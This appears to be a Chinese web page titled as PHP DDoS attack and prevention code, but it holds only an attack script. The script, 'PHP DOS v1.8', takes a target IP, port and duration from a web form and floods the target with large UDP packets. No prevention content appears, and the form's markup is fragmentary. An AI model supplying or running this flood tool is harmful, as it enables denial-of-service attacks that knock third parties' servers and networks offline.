php下ddos攻击与防范代码

2. $ip = $_SERVER['REMOTE_ADDR'];
3. ?>
15. 
    
    
    
    
    Your IP: (Don't DoS yourself nub)
    
    

文件：function.php

2. //=========================================
3. //PHP DOS v1.8 (Possibly Stronger Flood Strength)
4. //Coded by EXE
5. //@link http://bbs.it-home.org
6. //=========================================
7. $packets = 0;
8. $ip = $_POST['ip'];
9. $rand = $_POST['port'];
10. set_time_limit(0);
11. ignore_user_abort(FALSE);
12. $exec_time = $_POST['time'];
13. $time = time();
14. print "Flooded: $ip on port $rand
    
    ";
15. $max_time = $time+$exec_time;
16. for($i=0;$i<65535;$i++){
17. $out .= "X";
18. }
19. while(1){
20. $packets++;
21. if(time() > $max_time){
22. break;
23. }
24. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
25. if($fp){
26. fwrite($fp, $out);
27. fclose($fp);
28. }
29. }
30. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
31. ?>